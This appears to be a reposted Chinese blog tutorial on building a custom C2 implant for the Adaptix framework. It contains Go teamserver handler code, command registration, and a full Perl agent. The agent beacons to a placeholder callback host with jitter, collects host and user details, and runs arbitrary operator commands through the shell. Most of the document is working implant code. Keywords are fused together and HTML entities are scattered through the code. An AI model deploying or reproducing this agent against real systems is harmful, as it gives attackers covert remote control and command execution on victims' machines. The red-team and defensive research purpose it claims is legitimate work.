// ProcessTasksResult parses agent task responses and displays formatted output.
// Called when agent sends back task execution results.
// Parameters:
//   - ts: Teamserver interface for console output
//   - agentData: Agent metadata
//   - taskData: Original task data (unused but required by interface)
//   - packedData: JSON-encoded array of task results from agent
//
// Returns: Array of additional tasks to queue (currently always empty)
funcProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
var outTasks []adaptix.TaskData

/// START CODE

// Parse results array
var results []map[string]interface{}
err:= json.Unmarshal(packedData, &results)
if err !=nil {
return outTasks
 }

// Process each result
for_, result:=range results {
_=getString(result, "task_id")
output:=getString(result, "output")

// Parse the output JSON to format it nicely
var outputData map[string]interface{}
err:= json.Unmarshal([]byte(output), &outputData)
if err !=nil {
// If parsing fails, just show raw output
continue
  }

command:=getString(outputData, "command")

// Format output for console display
var consoleOutput string
switch command {
case"pwd":
path:=getString(outputData, "path")
consoleOutput= fmt.Sprintf("Current directory: %s", path)
case"cd":
iferrMsg:=getString(outputData, "error"); errMsg !="" {
consoleOutput= fmt.Sprintf("Error: %s", errMsg)
   } else {
path:=getString(outputData, "path")
consoleOutput= fmt.Sprintf("Changed directory to: %s", path)
   }
case"run":
executable:=getString(outputData, "executable")
args:=getString(outputData, "args")
stdout:=getString(outputData, "stdout")
exitCode:=getInt(outputData, "exit_code")

cmdStr:= executable
if args !="" {
cmdStr= fmt.Sprintf("%s%s", executable, args)
   }

consoleOutput= fmt.Sprintf("Running command: %s\n\n%s\nExit code: %d", cmdStr, stdout, exitCode)
default:
iferrMsg:=getString(outputData, "error"); errMsg !="" {
consoleOutput= fmt.Sprintf("Error: %s", errMsg)
   } else {
// Show raw JSON output for unknown commands
jsonBytes, _:= json.MarshalIndent(outputData, "", "  ")
consoleOutput=string(jsonBytes)
   }
  }

// Output to agent console
  ts.TsAgentConsoleOutput(agentData.Id, MESSAGE_SUCCESS, consoleOutput, "", true)
 }

/// END CODE

return outTasks
}

该函数把 packed data 反序列化为 results 数组，然后逐条提取 task ID 与 output，解析 output JSON，并按命令类型格式化，最后通过 TsAgentConsoleOutput在 UI 中显示。

代理 ax_config.axs

最后，我们需要为 agent 编写 ax_config.axs文件，用于注册我们在 CreateTask中定义的命令：

function RegisterCommands(listenerType)
{
/// Commands Here
    let cmd_pwd= ax.create_command("pwd", "Print working directory", "pwd", "Task: print working directory");

    let cmd_cd= ax.create_command("cd", "Change directory", "cd /etc", "Task: change directory");
    cmd_cd.addArgString("path", true, "Target directory path");

    let cmd_run= ax.create_command("run", "Execute command", "run whoami", "Task: execute command");
    cmd_run.addArgString("executable", true, "Command or executable to run");
    cmd_run.addArgString("args", false, "Command arguments");

if(listenerType =="LamperlHTTP") {
        let commands_external= ax.create_commands_group("Lamperl", [cmd_pwd, cmd_cd, cmd_run]);

return { commands_linux: commands_external }
    }
return ax.create_commands_group("none",[]);
}

function GenerateUI(listenerType)
{
    let container= form.create_container()

    let panel= form.create_panel()

return {
        ui_panel: panel,
        ui_container: container
    }
}

至此，agent handler 部分就完成了：在 lamperl_agent目录运行 make即可构建。

当 Go 侧的基础设施就位后，终于可以开始编写真正运行在目标系统上的 Perl agent 了。

Lamperl 代理

在添加任何命令之前，先要把 callback 机制做稳。我们先从定义必要变量开始：

# Configuration
my$callback_host&nbsp; &nbsp;=&nbsp;'<CALLBACK_HOST>';
my$callback_port&nbsp; &nbsp;=&nbsp;'<CALLBACK_PORT>';
my$callback_path&nbsp; &nbsp;=&nbsp;'<CALLBACK_PATH>';
my$agent_watermark&nbsp;=&nbsp;'<WATERMARK>';

# Generate random 10-character hex agent ID at runtime
srand(time&nbsp;^&nbsp;$$&nbsp;^&nbsp;unpack("%L*",&nbsp;`ps axww | gzip -f`));
my$agent_id&nbsp;=&nbsp;sprintf("%010x",&nbsp;int(rand() * 1099511627776) % 1099511627776);

# Agent state
my$sleep_time&nbsp; &nbsp; &nbsp; &nbsp; = 5;
my$jitter_percent&nbsp; &nbsp; = 10;
my$current_directory&nbsp;= Cwd::getcwd();
my$should_terminate&nbsp; = 0;

# Reusable JSON encoder
my$json&nbsp;= JSON::PP->new->utf8->canonical;

这些占位符值 (<CALLBACK_HOST>等) 会在构建阶段由前面实现的 AgentGenerateBuild函数替换。为保证唯一性，agent ID 在运行时随机生成 (10 字符)。同时，我们用 $current_directory跟踪当前工作目录以支持文件系统操作，并复用一个 JSON encoder 来简化通信逻辑。

接着实现一个函数，用于首次 check-in 时收集初始系统信息：

# Get initial system information
subget_init_data {
my$hostname = `hostname`;
chomp($hostname);

my$username&nbsp;=&nbsp;getpwuid($<) ||&nbsp;$<;

my$internal_ip&nbsp;=&nbsp;'';
my$sock&nbsp;= IO::Socket::INET->new(
PeerAddr=>'8.8.8.8',
PeerPort=>&nbsp;53,
Proto=>'udp',
&nbsp; &nbsp; );

if&nbsp;($sock) {
$internal_ip&nbsp;=&nbsp;$sock->sockhost();
close($sock);
&nbsp; &nbsp; }

return&nbsp;{
hostname=>$hostname,
username=>$username,
domain=>'',
internal_ip=>$internal_ip,
process=>$0,
pid=>$$,
sleep=>$sleep_time,
jitter=>$jitter_percent,
&nbsp; &nbsp; };
}

最关键的是 HTTP 通信函数：所有与监听器的交互都在这里完成：

# Send HTTP request
subsend_request {
my ($beat, $init, $results) = @_;

printSTDERR"[DEBUG] Connecting to $callback_host:$callback_port\n";

my$sock = IO::Socket::INET->new(
PeerHost=>$callback_host,
PeerPort=>$callback_port,
Proto=>'tcp',
Timeout=> 10,
    );

unless ($sock) {
printSTDERR"[ERROR] Failed to connect: $!\n";
returnundef;
    }

printSTDERR"[DEBUG] Connected successfully\n";

    # Build request body
my$body = { beat=>$beat };
$body->{init} = $initif$init;
$body->{results} = $resultsif$results && @$results;

my$body_json = $json->encode($body);
my$content_length = length($body_json);

printSTDERR"[DEBUG] Beat: $beat\n";
printSTDERR"[DEBUG] Body length: $content_length bytes\n";
printSTDERR"[DEBUG] Body: $body_json\n";
printSTDERR"[DEBUG] Sending request...\n";

    # Send HTTP request
print$sockjoin("\r\n",
"POST $callback_path HTTP/1.1",
"Host: $callback_host:$callback_port",
"User-Agent: Mozilla/5.0 (X11; Linux x86_64)",
"Content-Type: application/json",
"Content-Length: $content_length",
"Connection: close",
"",
$body_json
    );

    # Read response
local$/ = undef;
my$response&nbsp;= <$sock>;
close($sock);

printSTDERR"[DEBUG] Response length: "&nbsp;.&nbsp;length($response) .&nbsp;" bytes\n";
printSTDERR"[DEBUG] Response:\n$response\n";

&nbsp; &nbsp; # Parse response body
returnundefunless$response;
returnundefunless$response&nbsp;=~&nbsp;/\r?\n\r?\n(.+)$/s;

my$data&nbsp;=&nbsp;eval&nbsp;{&nbsp;$json->decode($1) };
if&nbsp;($@) {
printSTDERR"[ERROR] JSON decode failed:&nbsp;$@\n";
&nbsp; &nbsp; }
return$data;
}

该函数覆盖了完整的 HTTP 请求/响应流程：

1. 与监听器建立 TCP 连接，并设置 10 秒超时
2. 构建 JSON 请求体：按需包含 init 数据 (仅首次 check-in) 或 results (任务输出)
3. 手工构造并发送带正确 header 的 HTTP POST 请求。这里直接拼 raw HTTP，而不是用库，以尽量减少依赖
4. 通过临时禁用 Perl 的输入记录分隔符 (local $/ = undef) 来读取完整响应，从而一次性读入全部内容
5. 使用 regex 提取响应 body：匹配 HTTP headers 之后的所有内容 (\r?\n\r?\n序列标记 headers 结束)
6. 解码 JSON 响应并返回解析后的数据结构；任何一步失败则返回 undef

大量的 debug print 能显著降低开发与测试阶段排查通信问题的成本。

另外加一个辅助函数，用于计算带 jitter 的 sleep 间隔：

# Calculate sleep time with jitter
subcalculate_sleep {
return$sleep_timeunless$jitter_percent > 0;
return$sleep_time + int(rand($sleep_time * $jitter_percent / 100));
}

最后实现主执行循环：

# Main loop
submain {
my$beat = $agent_watermark . $agent_id;
my$init_data = get_init_data();
my$first_checkin = 1;

printSTDERR"[INFO] Agent starting...\n";
printSTDERR"[INFO] Watermark: $agent_watermark\n";
printSTDERR"[INFO] Agent ID: $agent_id\n";
printSTDERR"[INFO] Beat: $beat\n";
printSTDERR"[INFO] Callback: $callback_host:$callback_port$callback_path\n";

while (!$should_terminate) {
printSTDERR"[INFO] Sending beacon (first_checkin=$first_checkin)...\n";

        # Send beacon with init data on first checkin only
my$response = send_request($beat, $first_checkin ? $init_data : undef, undef);
$first_checkin = 0;

sleep(calculate_sleep());
    }
}

下面给出完整的初始 agent 实现：

#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
use JSON::PP;
use MIME::Base64;
use Cwd;

# Configuration
my$callback_host&nbsp; &nbsp;=&nbsp;'<CALLBACK_HOST>';
my$callback_port&nbsp; &nbsp;=&nbsp;'<CALLBACK_PORT>';
my$callback_path&nbsp; &nbsp;=&nbsp;'<CALLBACK_PATH>';
my$agent_watermark&nbsp;=&nbsp;'<WATERMARK>';

# Generate random 10-character hex agent ID at runtime
srand(time&nbsp;^&nbsp;$$&nbsp;^&nbsp;unpack("%L*",&nbsp;`ps axww | gzip -f`));
my$agent_id&nbsp;=&nbsp;sprintf("%010x",&nbsp;int(rand() * 1099511627776) % 1099511627776);

# Agent state
my$sleep_time&nbsp; &nbsp; &nbsp; &nbsp; = 5;
my$jitter_percent&nbsp; &nbsp; = 10;
my$current_directory&nbsp;= Cwd::getcwd();
my$should_terminate&nbsp; = 0;

# Reusable JSON encoder
my$json&nbsp;= JSON::PP->new->utf8->canonical;

# Get initial system information
subget_init_data&nbsp;{
my$hostname&nbsp;=&nbsp;`hostname`;
chomp($hostname);

my$username&nbsp;=&nbsp;getpwuid($<) ||&nbsp;$<;
my$internal_ip&nbsp;=&nbsp;'';

my$sock&nbsp;= IO::Socket::INET->new(
PeerAddr=>'8.8.8.8',
PeerPort=>&nbsp;53,
Proto=>'udp',
&nbsp; &nbsp; );

if&nbsp;($sock) {
$internal_ip&nbsp;=&nbsp;$sock->sockhost();
close($sock);
&nbsp; &nbsp; }

return&nbsp;{
hostname=>$hostname,
username=>$username,
domain=>'',
internal_ip=>$internal_ip,
process=>$0,
pid=>$$,
sleep=>$sleep_time,
jitter=>$jitter_percent,
&nbsp; &nbsp; };
}

# Send HTTP request
subsend_request&nbsp;{
my&nbsp;($beat,&nbsp;$init,&nbsp;$results) =&nbsp;@_;

printSTDERR"[DEBUG] Connecting to&nbsp;$callback_host:$callback_port\n";

my$sock&nbsp;= IO::Socket::INET->new(
PeerHost=>$callback_host,
PeerPort=>$callback_port,
Proto=>'tcp',
Timeout=>&nbsp;10,
&nbsp; &nbsp; );

unless&nbsp;($sock) {
printSTDERR"[ERROR] Failed to connect:&nbsp;$!\n";
returnundef;
&nbsp; &nbsp; }

printSTDERR"[DEBUG] Connected successfully\n";

&nbsp; &nbsp; # Build request body
my$body&nbsp;= {&nbsp;beat=>$beat&nbsp;};
$body->{init} =&nbsp;$initif$init;
$body->{results} =&nbsp;$resultsif$results&nbsp;&&&nbsp;@$results;

my$body_json&nbsp;=&nbsp;$json->encode($body);
my$content_length&nbsp;=&nbsp;length($body_json);

printSTDERR"[DEBUG] Beat:&nbsp;$beat\n";
printSTDERR"[DEBUG] Body length:&nbsp;$content_length&nbsp;bytes\n";
printSTDERR"[DEBUG] Body:&nbsp;$body_json\n";
printSTDERR"[DEBUG] Sending request...\n";

&nbsp; &nbsp; # Send HTTP request
print$sockjoin(
"\r\n",
"POST&nbsp;$callback_path&nbsp;HTTP/1.1",
"Host:&nbsp;$callback_host:$callback_port",
"User-Agent: Mozilla/5.0 (X11; Linux x86_64)",
"Content-Type: application/json",
"Content-Length:&nbsp;$content_length",
"Connection: close",
"",
$body_json
&nbsp; &nbsp; );

&nbsp; &nbsp; # Read response
local$/&nbsp;=&nbsp;undef;
my$response&nbsp;= <$sock>;
close($sock);

printSTDERR"[DEBUG] Response length: "&nbsp;.&nbsp;length($response) .&nbsp;" bytes\n";
printSTDERR"[DEBUG] Response:\n$response\n";

&nbsp; &nbsp; # Parse response body
returnundefunless$response;
returnundefunless$response&nbsp;=~&nbsp;/\\r?\\n\\r?\\n(.+)$/s;

my$data&nbsp;=&nbsp;eval&nbsp;{&nbsp;$json->decode($1) };
if&nbsp;($@) {
printSTDERR"[ERROR] JSON decode failed:&nbsp;$@\n";
&nbsp; &nbsp; }
return$data;
}

# Calculate sleep time with jitter
subcalculate_sleep&nbsp;{
return$sleep_timeunless$jitter_percent&nbsp;> 0;
return$sleep_time&nbsp;+&nbsp;int(rand($sleep_time&nbsp;*&nbsp;$jitter_percent&nbsp;/ 100));
}

# Main loop
submain&nbsp;{
my$beat&nbsp;=&nbsp;$agent_watermark&nbsp;.&nbsp;$agent_id;
my$init_data&nbsp;= get_init_data();
my$first_checkin&nbsp;= 1;

printSTDERR"[INFO] Agent starting...\n";
printSTDERR"[INFO] Watermark:&nbsp;$agent_watermark\n";
printSTDERR"[INFO] Agent ID:&nbsp;$agent_id\n";
printSTDERR"[INFO] Beat:&nbsp;$beat\n";
printSTDERR"[INFO] Callback:&nbsp;$callback_host:$callback_port$callback_path\n";

while&nbsp;(!$should_terminate) {
printSTDERR"[INFO] Sending beacon (first_checkin=$first_checkin)...\n";

&nbsp; &nbsp; &nbsp; &nbsp; # Send beacon with init data on first checkin only
my$response&nbsp;= send_request($beat,&nbsp;$first_checkin&nbsp;?&nbsp;$init_data&nbsp;:&nbsp;undef,&nbsp;undef);
$first_checkin&nbsp;= 0;

sleep(calculate_sleep());
&nbsp; &nbsp; }
}

main();

运行前可以先检查 Perl 语法：

perl -c lamperl.pl

现在在 Adaptix 中创建 listener，生成 agent 并启动：

perl lamperl.pl

成功，agent 已出现在 Adaptix 中：

不过目前还没有任何实际功能：agent 只能 beacon。下面把功能补上。

添加命令功能

这个初始版本实现三个命令：cd、pwd和 run。我们采用 dispatch table 模式来实现清晰的命令路由。首先定义命令表，并实现分发机制：

# Command dispatch table
my%COMMANDS = (
pwd=> \&cmd_pwd,
cd=> \&cmd_cd,
run=> \&cmd_run,
);

# Execute a command using dispatch table
subexecute_command {
my ($task) = @_;
my$task_id = $task->{task_id};
my$command = $task->{command};

my$handler = $COMMANDS{$command};
my$result = $handler
        ? $handler->($task)
        : { command=>$command, error=>"Unknown command: $command" };

return {
task_id=>$task_id,
output=>$json->encode($result),
    };
}

接下来实现这三个命令。它们的模式一致：执行操作，捕获输出，再返回结构化结果。

cmd_pwd的实现很简单：返回当前目录：

subcmd_pwd {
my ($task) = @_;
return {
command=>'pwd',
path=>$current_directory,
    };
}

cmd_cd会先校验目标路径是否存在，再切换目录：

subcmd_cd {
my ($task) = @_;
my$path = $task->{path} || '/';

unless (-d$path) {
return {
command=>'cd',
error=>"Directory not found: $path",
        };
    }

$current_directory = Cwd::abs_path($path);
return {
command=>'cd',
path=>$current_directory,
    };
}

最后，cmd_run通过 /bin/sh执行任意命令，并捕获 stdout 与 exit code：

subcmd_run {
my ($task) = @_;
my$executable = $task->{executable} || '/bin/sh';
my$args = $task->{args} || '';
my$cmd = $args ? "$executable$args" : $executable;

my$output = `$cmd 2>&1`;
my$exit_code = $? >> 8;

return {
command=>'run',
executable=>$executable,
args=>$args,
stdout=>$output,
exit_code=>$exit_code,
    };
}

最后一步是更新主循环：检查并执行下发的命令：

submain {
my$beat = $agent_watermark . $agent_id;
my$init_data = get_init_data();
my$first_checkin = 1;

printSTDERR"[INFO] Agent starting...\n";
printSTDERR"[INFO] Watermark: $agent_watermark\n";
printSTDERR"[INFO] Agent ID: $agent_id\n";
printSTDERR"[INFO] Beat: $beat\n";
printSTDERR"[INFO] Callback: $callback_host:$callback_port$callback_path\n";

while (!$should_terminate) {
printSTDERR"[INFO] Sending beacon (first_checkin=$first_checkin)...\n";

        # Send beacon with init data on first checkin only
my$response = send_request($beat, $first_checkin ? $init_data : undef, undef);
$first_checkin = 0;

        # Execute tasks if present
if ($response && $response->{tasks} && @{$response->{tasks}}) {
my@results = map { execute_command($_) } @{$response->{tasks}};
            send_request($beat, undef, \@results) if@results;
        }

sleep(calculate_sleep());
    }
}

现在重新构建监听器与 agent，生成一个新的 agent，并运行：

连接已成功建立：

agent 现在可以切换目录：

并执行任意命令：

结论

至此，本系列第一篇就结束了！我们已经 (基本) 从零搭建了一个可用的 Adaptix agent，涵盖监听器实现、agent 生成以及基础命令执行。本次迭代的完整代码已发布在 GitHub 上。

Lamperl-v1

下一篇文章将继续扩展 agent 能力：加入文件上传、下载，以及异步 job 处理。

---

Lessons from Perlyite(Building a custom Adaptix agent)

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：securitainment Polar《从 Perlyite 到 Lamperl：用 Perl 构建自定义 Adaptix C2 Agent (第 1 篇)》